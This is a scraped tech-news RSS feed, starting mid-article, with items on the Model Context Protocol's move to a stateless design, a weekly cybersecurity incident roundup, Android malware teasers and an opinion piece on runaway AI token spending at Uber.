<p class="wp-block-paragraph">This transition to a stateless design goes beyond simplifying infrastructure by fundamentally changing how AI applications manage and share context across tools, according to <a href="https://www.linkedin.com/in/znamit/" target="_blank" rel="noreferrer noopener">Amit Jena</a>, AI development manager at IT consulting firm Kanerika.</p>



<p class="wp-block-paragraph">Instead of keeping application state hidden inside protocol sessions, the new design makes it explicit, allowing AI models to access, reason over, and pass that information between tools, giving developers greater control over how context is preserved and shared across tools, Jena said.</p>



<p class="wp-block-paragraph">It should also make AI workflows more portable, resilient, and easier to orchestrate across distributed environments, he said.</p>



<h2 class="wp-block-heading">MCP’s new features</h2>



<p class="wp-block-paragraph">Other changes to MCP include the addition of a Multi Round-Trip Requests (MRTR) mechanism that changes how AI agents request additional information they need to complete a task.</p>



<p class="wp-block-paragraph">Instead of relying on a persistent connection between the client and server throughout the interaction, the new mechanism lets the server request additional input through a standard request-response exchange before continuing the task, Jena said.</p>



<p class="wp-block-paragraph">Routable transport headers, another addition, enable API gateways and other networking infrastructure to identify and route MCP requests without inspecting their contents.</p>



<p class="wp-block-paragraph">They reduce processing overhead, lower latency, and let enterprise teams enforce routing, rate-limiting and security policies more efficiently using existing API management infrastructure, Jena said.</p>



<p class="wp-block-paragraph">MCP is also getting an updated authorization framework built around OAuth 2.1 and OpenID Connect; interactive MCP Apps; and deterministic caching of tool and resource listings to improve LLM prompt-cache hit rates, potentially saving on token costs.</p>



<h2 class="wp-block-heading">Rebuilding the trust boundary</h2>



<p class="wp-block-paragraph">The MCP release steering committee also decided to deprecate some legacy features, including Roots, Sampling, Logging, the older HTTP+SSE transport and Dynamic Client Registration, although these will continue to work in this version and any other released over the next year.</p>



<p class="wp-block-paragraph">The deprecation of Sampling is likely to have the biggest impact because it changes who is responsible for interacting with foundation models, said Jena.</p>



<p class="wp-block-paragraph">“Sampling let MCP servers invoke the <a href="https://www.infoworld.com/article/2335213/large-language-models-the-foundations-of-generative-ai.html" target="_blank">LLM</a> through the client, which meant the server had a callback path into the model without owning that connection. Deprecating it means rebuilding that trust boundary,” Jena said. “Your server now calls the model provider directly. That changes your network architecture, your auth model, and depending on how you’ve built cost attribution, your billing flow.”</p>



<p class="wp-block-paragraph">The year-long transition period will be enough for teams to audit their sampling dependencies now, said Jena: “The risk is that teams who haven’t implemented sampling themselves won’t know if a third-party MCP server they’re depending on uses it.”</p>



<h2 class="wp-block-heading">Updated MCP SDKs</h2>



<p class="wp-block-paragraph">To accompany the protocol update, there are updated <a href="https://github.com/modelcontextprotocol" target="_blank" rel="noreferrer noopener">MCP SDKs</a> for <a href="https://www.infoworld.com/article/2253770/what-is-python-powerful-intuitive-programming.html" target="_blank">Python</a>, <a href="https://www.infoworld.com/article/2257305/what-is-typescript-strongly-typed-javascript.html" target="_blank">Typescript</a>, <a href="https://www.infoworld.com/article/2253031/whats-the-go-language-really-good-for-3.html">Go</a>, and <a href="https://www.infoworld.com/article/4131649/the-best-new-features-of-c-14.html">C#</a>. These support both the old and new protocol versions, so new clients can continue communicating with older servers, while updated servers will also support older clients, reducing the risk of immediate disruptions.</p>



<p class="wp-block-paragraph">That backward compatibility should make the transition largely incremental, except for enterprises that built custom infrastructure around MCP’s earlier session-based architecture, Bandta said.</p>



<p class="wp-block-paragraph">Identifying and auditing those session dependencies may not be easy, Jena warned.</p>



<p class="wp-block-paragraph">“Session management complexity tends to be hidden across multiple layers — the gateway config, the deployment scripts, the monitoring dashboards. The code change is small; finding everywhere the assumption lives is what takes time,” he said.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Model Context Protocol is going stateless to make scaling simpler]]></title>
<description><![CDATA[Model Context Protocol (MCP), the emerging standard for connecting AI models to external tools and enterprise data, is undergoing its biggest architectural overhaul yet.



The latest release candidate, scheduled for release on July 28, removes protocol-level sessions in favor of a stateless arch...]]></description>
<link>https://tsecurity.de/de/3691907/it-nachrichten/model-context-protocol-is-going-stateless-to-make-scaling-simpler/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691907/it-nachrichten/model-context-protocol-is-going-stateless-to-make-scaling-simpler/</guid>
<pubDate>Fri, 24 Jul 2026 17:38:35 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Model Context Protocol (<a href="https://www.infoworld.com/article/4029634/what-is-model-context-protocol-how-mcp-bridges-ai-and-external-services.html">MCP</a>), the emerging standard for connecting AI models to external tools and enterprise data, is undergoing its biggest architectural overhaul yet.</p>



<p class="wp-block-paragraph">The latest <a href="https://modelcontextprotocol.io/specification/draft/changelog" target="_blank" rel="noreferrer noopener">release candidate</a>, scheduled for release on July 28, removes protocol-level sessions in favor of a stateless architecture, a change which industry experts say is intended to make MCP easier to deploy across standard cloud infrastructure as enterprises move AI pilots into production.</p>



<p class="wp-block-paragraph">“The session-based model made sense when MCP servers were local processes on a developer’s laptop. In production, it became an operational tax,” said <a href="https://www.linkedin.com/in/muskan-bandta2004" target="_blank" rel="noreferrer noopener">Muskan Bandta</a>, cloud associate at ZopDev.</p>



<p class="wp-block-paragraph">“When your infrastructure team asks whether MCP services can scale like other cloud applications, the answer used to be ‘not quite.’ With the move to a stateless architecture, the answer is now yes,” Bandta added.</p>



<p class="wp-block-paragraph">Earlier versions of the protocol maintained information about every client connection, meaning servers had to keep track of each session throughout an interaction. While that approach worked well for local development, it complicated deployments across multiple servers because requests often had to be routed back to the same machine, limiting scalability and making MCP a less natural fit for modern cloud architectures.</p>



<p class="wp-block-paragraph">“Under the new stateless design, every request contains the information needed for any available server to process it independently. Applications that need to maintain context across multiple requests can still do so, but developers must now manage that state explicitly rather than relying on the protocol itself,” she said.</p>



<p class="wp-block-paragraph">This transition to a stateless design goes beyond simplifying infrastructure by fundamentally changing how AI applications manage and share context across tools, according to <a href="https://www.linkedin.com/in/znamit/" target="_blank" rel="noreferrer noopener">Amit Jena</a>, AI development manager at IT consulting firm Kanerika.</p>



<p class="wp-block-paragraph">Instead of keeping application state hidden inside protocol sessions, the new design makes it explicit, allowing AI models to access, reason over, and pass that information between tools, giving developers greater control over how context is preserved and shared across tools, Jena said.</p>



<p class="wp-block-paragraph">It should also make AI workflows more portable, resilient, and easier to orchestrate across distributed environments, he said.</p>



<h2 class="wp-block-heading">MCP’s new features</h2>



<p class="wp-block-paragraph">Other changes to MCP include the addition of a Multi Round-Trip Requests (MRTR) mechanism that changes how AI agents request additional information they need to complete a task.</p>



<p class="wp-block-paragraph">Instead of relying on a persistent connection between the client and server throughout the interaction, the new mechanism lets the server request additional input through a standard request-response exchange before continuing the task, Jena said.</p>



<p class="wp-block-paragraph">Routable transport headers, another addition, enable API gateways and other networking infrastructure to identify and route MCP requests without inspecting their contents.</p>



<p class="wp-block-paragraph">They reduce processing overhead, lower latency, and let enterprise teams enforce routing, rate-limiting and security policies more efficiently using existing API management infrastructure, Jena said.</p>



<p class="wp-block-paragraph">MCP is also getting an updated authorization framework built around OAuth 2.1 and OpenID Connect; interactive MCP Apps; and deterministic caching of tool and resource listings to improve LLM prompt-cache hit rates, potentially saving on token costs.</p>



<h2 class="wp-block-heading">Rebuilding the trust boundary</h2>



<p class="wp-block-paragraph">The MCP release steering committee also decided to deprecate some legacy features, including Roots, Sampling, Logging, the older HTTP+SSE transport and Dynamic Client Registration, although these will continue to work in this version and any other released over the next year.</p>



<p class="wp-block-paragraph">The deprecation of Sampling is likely to have the biggest impact because it changes who is responsible for interacting with foundation models, said Jena.</p>



<p class="wp-block-paragraph">“Sampling let MCP servers invoke the <a href="https://www.infoworld.com/article/2335213/large-language-models-the-foundations-of-generative-ai.html" target="_blank">LLM</a> through the client, which meant the server had a callback path into the model without owning that connection. Deprecating it means rebuilding that trust boundary,” Jena said. “Your server now calls the model provider directly. That changes your network architecture, your auth model, and depending on how you’ve built cost attribution, your billing flow.”</p>



<p class="wp-block-paragraph">The year-long transition period will be enough for teams to audit their sampling dependencies now, said Jena: “The risk is that teams who haven’t implemented sampling themselves won’t know if a third-party MCP server they’re depending on uses it.”</p>



<h2 class="wp-block-heading">Updated MCP SDKs</h2>



<p class="wp-block-paragraph">To accompany the protocol update, there are updated <a href="https://github.com/modelcontextprotocol" target="_blank" rel="noreferrer noopener">MCP SDKs</a> for <a href="https://www.infoworld.com/article/2253770/what-is-python-powerful-intuitive-programming.html" target="_blank">Python</a>, <a href="https://www.infoworld.com/article/2257305/what-is-typescript-strongly-typed-javascript.html" target="_blank">Typescript</a>, <a href="https://www.infoworld.com/article/2253031/whats-the-go-language-really-good-for-3.html">Go</a>, and <a href="https://www.infoworld.com/article/4131649/the-best-new-features-of-c-14.html">C#</a>. These support both the old and new protocol versions, so new clients can continue communicating with older servers, while updated servers will also support older clients, reducing the risk of immediate disruptions.</p>



<p class="wp-block-paragraph">That backward compatibility should make the transition largely incremental, except for enterprises that built custom infrastructure around MCP’s earlier session-based architecture, Bandta said.</p>



<p class="wp-block-paragraph">Identifying and auditing those session dependencies may not be easy, Jena warned.</p>



<p class="wp-block-paragraph">“Session management complexity tends to be hidden across multiple layers — the gateway config, the deployment scripts, the monitoring dashboards. The code change is small; finding everywhere the assumption lives is what takes time,” he said.</p>



<p class="wp-block-paragraph"><em>This article first appeared on <a href="https://www.infoworld.com/article/4201254/model-context-protocol-is-going-stateless-to-make-scaling-simpler.html">InfoWorld</a>.</em></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Midjourney acquired the astrology app Co-Star]]></title>
<description><![CDATA[The AI lab Midjourney continues to expand its purview beyond image and video generation.]]></description>
<link>https://tsecurity.de/de/3691884/it-nachrichten/midjourney-acquired-the-astrology-app-co-star/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691884/it-nachrichten/midjourney-acquired-the-astrology-app-co-star/</guid>
<pubDate>Fri, 24 Jul 2026 17:19:56 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[The AI lab Midjourney continues to expand its purview beyond image and video generation.]]></content:encoded>
</item>
<item>
<title><![CDATA[Is AI already beyond our control? What will we tell our kids? | Fiona Katauskas]]></title>
<description><![CDATA[It’s no bedtime storySee more of Fiona Katauskas’s cartoons here Continue reading...]]></description>
<link>https://tsecurity.de/de/3691862/ai-nachrichten/is-ai-already-beyond-our-control-what-will-we-tell-our-kids-fiona-katauskas/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691862/ai-nachrichten/is-ai-already-beyond-our-control-what-will-we-tell-our-kids-fiona-katauskas/</guid>
<pubDate>Fri, 24 Jul 2026 17:03:15 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>It’s no bedtime story</p><ul><li><p><strong>See more of </strong><a href="https://www.theguardian.com/profile/fiona-katauskas"><strong>Fiona Katauskas’s cartoons here</strong></a></p></li></ul> <a href="https://www.theguardian.com/commentisfree/picture/2026/jul/25/is-ai-already-beyond-our-control-what-will-we-tell-our-kids">Continue reading...</a>]]></content:encoded>
</item>
<item>
<title><![CDATA[WhatsApp Expands Beyond Messaging With CarPlay, iPad, and Productivity Upgrades]]></title>
<description><![CDATA[Meta is expanding WhatsApp with enhanced CarPlay and Android Auto support, standalone iPad accounts, PDF editing, and new productivity features.
The post WhatsApp Expands Beyond Messaging With CarPlay, iPad, and Productivity Upgrades appeared first on TechRepublic.]]></description>
<link>https://tsecurity.de/de/3691783/it-nachrichten/whatsapp-expands-beyond-messaging-with-carplay-ipad-and-productivity-upgrades/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691783/it-nachrichten/whatsapp-expands-beyond-messaging-with-carplay-ipad-and-productivity-upgrades/</guid>
<pubDate>Fri, 24 Jul 2026 16:22:01 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Meta is expanding WhatsApp with enhanced CarPlay and Android Auto support, standalone iPad accounts, PDF editing, and new productivity features.</p>
<p>The post <a href="https://www.techrepublic.com/article/news-whatsapp-carplay-ipad-productivity-features-meta-july-2026/">WhatsApp Expands Beyond Messaging With CarPlay, iPad, and Productivity Upgrades</a> appeared first on <a href="https://www.techrepublic.com/">TechRepublic</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[The Cyber Express Weekly Roundup: Ransomware Surge, Data Breaches, and Rising Digital Threats]]></title>
<description><![CDATA[This week’s cybersecurity landscape highlights the continued expansion of cyber risks across governments, businesses, and consumers. From ransomware campaigns targeting organizations worldwide to credential-based attacks, data breaches, online fraud, and digital piracy crackdowns, recent incident...]]></description>
<link>https://tsecurity.de/de/3691669/it-security-nachrichten/the-cyber-express-weekly-roundup-ransomware-surge-data-breaches-and-rising-digital-threats/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691669/it-security-nachrichten/the-cyber-express-weekly-roundup-ransomware-surge-data-breaches-and-rising-digital-threats/</guid>
<pubDate>Fri, 24 Jul 2026 15:30:41 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><img width="831" height="491" src="https://thecyberexpress.com/wp-content/uploads/The-Cyber-Express-weekly-roundup-July-2026-2.webp" class="attachment-post-thumbnail size-post-thumbnail wp-post-image" alt="The Cyber Express weekly roundup July 2026" decoding="async" srcset="https://thecyberexpress.com/wp-content/uploads/The-Cyber-Express-weekly-roundup-July-2026-2.webp 831w, https://thecyberexpress.com/wp-content/uploads/The-Cyber-Express-weekly-roundup-July-2026-2-300x177.webp 300w, https://thecyberexpress.com/wp-content/uploads/The-Cyber-Express-weekly-roundup-July-2026-2-768x454.webp 768w, https://thecyberexpress.com/wp-content/uploads/The-Cyber-Express-weekly-roundup-July-2026-2-600x355.webp 600w, https://thecyberexpress.com/wp-content/uploads/The-Cyber-Express-weekly-roundup-July-2026-2-150x89.webp 150w, https://thecyberexpress.com/wp-content/uploads/The-Cyber-Express-weekly-roundup-July-2026-2-750x443.webp 750w, https://thecyberexpress.com/wp-content/uploads/The-Cyber-Express-weekly-roundup-July-2026-2.webp 831w, https://thecyberexpress.com/wp-content/uploads/The-Cyber-Express-weekly-roundup-July-2026-2-300x177.webp 300w, https://thecyberexpress.com/wp-content/uploads/The-Cyber-Express-weekly-roundup-July-2026-2-768x454.webp 768w, https://thecyberexpress.com/wp-content/uploads/The-Cyber-Express-weekly-roundup-July-2026-2-600x355.webp 600w, https://thecyberexpress.com/wp-content/uploads/The-Cyber-Express-weekly-roundup-July-2026-2-150x89.webp 150w, https://thecyberexpress.com/wp-content/uploads/The-Cyber-Express-weekly-roundup-July-2026-2-750x443.webp 750w" sizes="(max-width: 831px) 100vw, 831px" title="The Cyber Express Weekly Roundup: Ransomware Surge, Data Breaches, and Rising Digital Threats 1"></p><span data-contrast="auto">This week’s cybersecurity landscape highlights the continued expansion of cyber risks across governments, businesses, and consumers. From ransomware campaigns targeting organizations worldwide to credential-based attacks, data breaches, online fraud, and digital piracy crackdowns, recent incidents show how threat actors are exploiting both technical vulnerabilities and human behavior.</span><span data-ccp-props="{}"> </span>

<span data-contrast="auto">The latest developments underline the need for stronger security practices, including improved identity protection, faster <a class="wpil_keyword_link" href="https://cyble.com/knowledge-hub/what-is-incident-response/" target="_blank" rel="noopener" title="incident response" data-wpil-keyword-link="linked" data-wpil-monitor-id="29121">incident response</a>, and greater awareness of evolving cyber threats. Organizations are increasingly dealing with attacks that go beyond <a class="wpil_keyword_link" href="https://thecyberexpress.com/what-is-data/" title="data" data-wpil-keyword-link="linked" data-wpil-monitor-id="29120">data</a> theft, affecting operations, customer trust, and critical services.</span><span data-ccp-props="{}"> </span>
<h2 aria-level="2"><b><span data-contrast="none">The Cyber Express Weekly Roundup</span></b><span data-ccp-props='{"134245418":true,"134245529":true,"335559738":160,"335559739":80}'> </span></h2>
<h3 aria-level="3"><b><span data-contrast="none">U.S. Accounts for Nearly Half of Global Ransomware Attacks in H1 2026</span></b><span data-ccp-props='{"134245418":true,"134245529":true,"335559738":160,"335559739":80}'> </span></h3>
<span data-contrast="auto">The United States experienced 1,721 ransomware attacks during the first half of 2026, representing nearly 45% of all incidents tracked globally, according to research from <a href="https://cyble.com/resources/research-reports/global-threat-landscape-h1-2026/" target="_blank" rel="nofollow noopener">Cyble Research and Intelligence Labs (CRIL)</a>. The report identified <a class="wpil_keyword_link" href="https://cyble.com/knowledge-hub/what-is-ransomware/" target="_blank" rel="noopener" title="ransomware" data-wpil-keyword-link="linked" data-wpil-monitor-id="29122">ransomware</a> groups Qilin and Akira as among the most active threat actors during the period. </span><a href="https://thecyberexpress.com/us-ransomware-attacks-in-h1-2026/" target="_blank" rel="noopener"><b><span data-contrast="none">Read more...</span></b></a><span data-ccp-props="{}"> </span>
<h3 aria-level="3"><b><span data-contrast="none">Dubai Police Warns Against Online Visa Fraud Schemes</span></b><span data-ccp-props='{"134245418":true,"134245529":true,"335559738":160,"335559739":80}'> </span></h3>
<span data-contrast="auto">Dubai Police has issued a warning about fraudulent online advertisements offering work, residency, and visit visas in exchange for payment. Scammers have reportedly used social media platforms and messaging applications to impersonate government entities or unauthorized service providers to trick victims. </span><a href="https://thecyberexpress.com/dubai-police-fraudulent-visa-ads/" target="_blank" rel="noopener"><b><span data-contrast="none">Read more...</span></b></a><span data-ccp-props="{}"> </span>
<h3 aria-level="3"><b><span data-contrast="none">Craneware Data Breach Exposes Employee and Customer Information</span></b><span data-ccp-props='{"134245418":true,"134245529":true,"335559738":160,"335559739":80}'> </span></h3>
<span data-contrast="auto">Healthcare technology company Craneware confirmed that unauthorized individuals accessed part of its data environment, resulting in the exposure of employee information as well as some customer and partner records. The company stated that the incident has been contained and has not disrupted business operations or customer services. </span><a href="https://thecyberexpress.com/craneware-data-breach/" target="_blank" rel="noopener"><b><span data-contrast="none">Read more...</span></b><span data-contrast="none"> </span></a><span data-ccp-props="{}"> </span>
<h3 aria-level="3"><b><span data-contrast="none">U.S. Targets Illegal FIFA World Cup Streaming Networks</span></b><span data-ccp-props='{"134245418":true,"134245529":true,"335559738":160,"335559739":80}'> </span></h3>
<span data-contrast="auto">The U.S. Department of Justice seized more than 1,000 domains allegedly involved in illegally streaming FIFA World Cup 2026 matches. The action was carried out under Operation Offsides, an initiative focused on combating online piracy and protecting intellectual property rights. </span><a href="https://thecyberexpress.com/illegal-world-cup-streaming-domains-seized/" target="_blank" rel="noopener"><b><span data-contrast="none">Read more...</span></b></a><span data-ccp-props="{}"> </span>
<h3 aria-level="3"><b><span data-contrast="none">Chick-fil-A Customer Accounts Targeted in Credential Attack</span></b><span data-ccp-props='{"134245418":true,"134245529":true,"335559738":160,"335559739":80}'> </span></h3>
<span data-contrast="auto">Chick-fil-A confirmed that certain customer accounts were accessed during an automated credential-stuffing attack between June 17 and June 19, 2026. The attackers used account credentials obtained from an external source to gain unauthorized access. The company said affected information may have included customer names, email addresses, membership details, and limited payment-related data. </span><a href="https://thecyberexpress.com/chick-fil-a-data-security-incident/" target="_blank" rel="noopener"><b><span data-contrast="none">Read more...</span></b></a><span data-ccp-props="{}"> </span>
<h3 aria-level="3"><b><span data-contrast="none">South Korea Diplomatic System Breach Lasted Nearly 10 Months</span></b><span data-ccp-props='{"134245418":true,"134245529":true,"335559738":160,"335559739":80}'> </span></h3>
<span data-contrast="auto">South Korea’s Ministry of Foreign Affairs revealed that attackers maintained access to the National Diplomatic Academy’s online education system for almost 10 months. The breach, which began in April 2025, exposed information linked to thousands of current and former ministry employees. Compromised data included user IDs, names, email addresses, and encrypted passwords. </span><a href="https://thecyberexpress.com/national-diplomatic-academy-data-breach-korea/" target="_blank" rel="noopener"><b><span data-contrast="none">Read more..</span></b></a><b><span data-contrast="auto">.</span></b><span data-ccp-props='{"134233117":false,"134233118":false,"201341983":0,"335551550":1,"335551620":1,"335559685":0,"335559737":0,"335559738":0,"335559739":160,"335559740":279}'> </span>
<h2 aria-level="2"><b><span data-contrast="none">Weekly Cybersecurity Takeaway</span></b><span data-ccp-props='{"134245418":true,"134245529":true,"335559738":160,"335559739":80}'> </span></h2>
<span data-contrast="auto">The week’s incidents demonstrate how <a class="wpil_keyword_link" href="https://thecyberexpress.com/cyber-news/" title="cyber" data-wpil-keyword-link="linked" data-wpil-monitor-id="29124">cyber</a> threats continue to evolve across multiple areas, from ransomware and account compromise to online scams and government-related breaches. Attackers are increasingly targeting weaknesses in identity management, user behavior, and digital infrastructure.</span><span data-ccp-props="{}"> </span>

<span data-contrast="auto">Organizations and individuals must focus on proactive security measures, including stronger authentication controls, regular monitoring, timely updates, and greater awareness of <a class="wpil_keyword_link" href="https://cyble.com/knowledge-hub/what-is-social-engineering/" target="_blank" rel="noopener" title="social engineering" data-wpil-keyword-link="linked" data-wpil-monitor-id="29123">social engineering</a> tactics. As cyber threats become more widespread and interconnected, improving resilience remains essential for protecting data, services, and public trust.</span><span data-ccp-props="{}"> </span>]]></content:encoded>
</item>
<item>
<title><![CDATA[Beyond the Play Store: How Android threats really spread]]></title>
<description><![CDATA[Some threats never pass through the Play Store. Others arrive later in seemingly legitimate updates. Here’s how Malwarebytes detects both. This article has been indexed from Malwarebytes Read the original article: Beyond the Play Store: How Android threats really spread
Read more →
The post Beyon...]]></description>
<link>https://tsecurity.de/de/3691577/it-security-nachrichten/beyond-the-play-store-how-android-threats-really-spread/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691577/it-security-nachrichten/beyond-the-play-store-how-android-threats-really-spread/</guid>
<pubDate>Fri, 24 Jul 2026 14:58:39 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Some threats never pass through the Play Store. Others arrive later in seemingly legitimate updates. Here’s how Malwarebytes detects both. This article has been indexed from Malwarebytes Read the original article: Beyond the Play Store: How Android threats really spread</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/beyond-the-play-store-how-android-threats-really-spread/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/beyond-the-play-store-how-android-threats-really-spread/">Beyond the Play Store: How Android threats really spread</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Beyond the Play Store: How Android threats really spread]]></title>
<description><![CDATA[Some threats never pass through the Play Store. Others arrive later in seemingly legitimate updates. Here's how Malwarebytes detects both.]]></description>
<link>https://tsecurity.de/de/3691479/it-security-nachrichten/beyond-the-play-store-how-android-threats-really-spread/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691479/it-security-nachrichten/beyond-the-play-store-how-android-threats-really-spread/</guid>
<pubDate>Fri, 24 Jul 2026 14:10:36 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Some threats never pass through the Play Store. Others arrive later in seemingly legitimate updates. Here's how Malwarebytes detects both.]]></content:encoded>
</item>
<item>
<title><![CDATA[Getting a grip on shadow tokens and AI blowouts]]></title>
<description><![CDATA[Four months of Claude Code — that’s all it took for Uber to burn through its entire annual budget for AI. Token after token, engineers embraced the platform with few control mechanisms tying costs to outcomes. The result was a budget runaway and a clear case study in how limited oversight snowbal...]]></description>
<link>https://tsecurity.de/de/3691453/it-nachrichten/getting-a-grip-on-shadow-tokens-and-ai-blowouts/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691453/it-nachrichten/getting-a-grip-on-shadow-tokens-and-ai-blowouts/</guid>
<pubDate>Fri, 24 Jul 2026 14:04:46 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Four months of Claude Code — that’s all it took for Uber to burn through its entire annual budget for AI. Token after token, engineers embraced the platform with few control mechanisms tying costs to outcomes. The result was a budget runaway and <a href="https://www.forbes.com/sites/janakirammsv/2026/05/17/uber-burns-its-2026-ai-budget-in-four-months-on-claude-code/">a clear case study</a> in how limited oversight snowballs into an AI blowout.</p>



<p class="wp-block-paragraph">This is a phenomenon I like to call “shadow tokens” — AI credits paid for by the company but largely invisible to decision-makers. Too many engineers have the final say over how much they consume and, therefore, what it costs. This all-you-can-eat attitude is part of the reason why <a href="https://www.theverge.com/tech/930447/microsoft-claude-code-discontinued-notepad">Microsoft is reportedly</a> winding down many internal licenses across key engineering teams and why <a href="https://www.thestreet.com/investing/the-next-phase-of-ai-spending-is-already-underway">one in five organizations</a> is missing its AI spend forecast by more than 50%.</p>



<p class="wp-block-paragraph">And the trend is only accelerating. By 2028, <a href="https://www.cio.com/article/4189149/ai-coding-token-costs-are-on-track-to-rival-human-payroll.html">Gartner predicts</a> that AI coding costs (driven by this kind of ungoverned consumption) will be as much per developer as the salary companies pay that person.</p>



<p class="wp-block-paragraph">LLMs and agents introduce a new class of variable cost that scales with behavior rather than headcount, putting enterprises on the hook for tools that balloon with workload. I don’t see this as enterprises overspending because they’re reckless — it’s down to a lack of managerial oversight, budget alignment that demands a proven return on investment, and engineer education on how much is too much.</p>



<p class="wp-block-paragraph">Going forward, CIOs need to thread the AI needle between governance that encourages transparency and reasonable spend without stifling innovation.</p>



<h2 class="wp-block-heading">When shadow tokens result in real costs</h2>



<p class="wp-block-paragraph">The issue is that AI isn’t a traditional line item. Previously, enterprise leaders onboarded software-as-a-service (SaaS) with a good idea of the total cost. An allocated software seat or annual contract was a known quantity. The cloud added some variation (with fluctuations depending on hosting size), but instances were still modelable. AI flips this status quo on its head — the unit of consumption is behavior and the cost is exponential.</p>



<p class="wp-block-paragraph">And these specifics aren’t immediately apparent at pilot. Tools can appear inexpensive in controlled experiments yet unpredictably scale depending on session length, context window size, model selection and whether agents run in parallel. This is the fallacy of the $20-per-seat enterprise plan — tokens are charged separately at API rates with no ceiling. The final dollar value of any session is set by factors that finance can’t always model in advance, particularly when these decisions usually rest with the engineers themselves.</p>



<p class="wp-block-paragraph">According to <a href="https://www.deloitte.com/cz-sk/en/services/consulting/research/the-state-of-ai-in-the-enterprise.html">Deloitte</a>, only 21% of organizations deploying agents have a mature governance model, a real concern because they’re token-eating machines. This is what was happening at Uber — Claude Code in agentic mode was autonomously reading codebases, planning changes across dozens of files and opening pull requests. Each step quickly adds up, with Anthropic’s own documentation noting that agents consume approximately seven times as many tokens as standard sessions.</p>



<p class="wp-block-paragraph">This is shadow IT and shadow AI, evolved. This time, however, many leaders approved the tool in question without guardrails governing consumption. AI hype adds fuel to the fire and normalizes long sessions. Uber’s CTO, for example, <a href="https://x.com/praveenTweets/status/2033627282418655711">described</a> a company-wide shift toward “agentic software engineering” with employees “who are quietly experimenting, quietly shipping and quietly pushing things forward”. This is an exciting way to test the limits of what’s possible, certainly, but it’s also a position that goes a long way to explaining how the company spent its annual AI budget by April.</p>



<h2 class="wp-block-heading">Shifting the culture from usage to yield</h2>



<p class="wp-block-paragraph">Engineers haven’t done anything wrong here. In fact, they’re adopting and experimenting as instructed, with Uber creating leaderboards and ranking users by token consumption. More use led to a better ranking, reflecting a culture that lauds new ways of doing things. This behavior is known as “<a href="https://www.cio.com/article/4178320/tokenmaxxing-when-ai-adoption-metrics-go-bad.html">tokenmaxxing</a>,” and its principal knock-on effect is shadow tokens — quantity-over-quality processes that leaders struggle to control until they’re fully realized in the budget. Of course, if management treats adoption metrics as performance metrics, then engineers can’t be blamed for using more tokens. The tension is that the teams driving adoption aren’t the ones managing spend.</p>



<p class="wp-block-paragraph">None of this is meant to dismiss AI’s productivity possibilities and potential return on investment. Developers save <a href="https://getdx.com/blog/ai-assisted-engineering-q4-impact-report-2025/">3.6 hours</a> per week, achieve 60% higher pull request throughput and cut onboarding time in half with automation. Meanwhile, Uber shared that roughly 11% of live backend updates were written by agents with no human in the loop. However, these wins aren’t the problem — it’s that too many teams aren’t connecting input to output. I’ve spoken to admins who discovered their token spend had tripled in a single quarter after using heavier models or accidentally doubling up on agentic applications. Nobody knew until the financial damage was done.</p>



<p class="wp-block-paragraph">Automation needs to happen sustainably with an eye on the bottom line. In my view, a much better metric for achieving this is AI yield — the measurable business or engineering output generated per dollar spent on tokens. Otherwise, without a feedback loop, even genuinely productive teams are flying blind.</p>



<h2 class="wp-block-heading">Stopping token waste before an AI blowout</h2>



<p class="wp-block-paragraph">Creating that throughline between AI investment and token consumption starts with established financial metrics. This is possible via maximum spend limits (dictated by spend tagging, workload tiering and cost-per-output benchmarks) per team or project. Then, any additional allocation requires approval, closing the loop between the engineers spending the tokens and the leaders paying for them. AI isn’t cheap and teams should demonstrate a bang for their buck.</p>



<p class="wp-block-paragraph">This is something we do with our engineering team at Hexnode. Resource allocation for Claude Code and Cursor is tied directly to ROI rather than letting consumption run open-ended. Given the pay-as-you-go nature of these tools, a firm usage limit per team offers simple but essential control.</p>



<p class="wp-block-paragraph">Similarly, there’s room to apply some of the governance principles IT uses for device management. Things like policy enforcement, role-based access, real-time monitoring and automated alerts can flag usage behavior in advance. Uncovering such insights at the token layer works to identify power users and prevent excessive spending.</p>



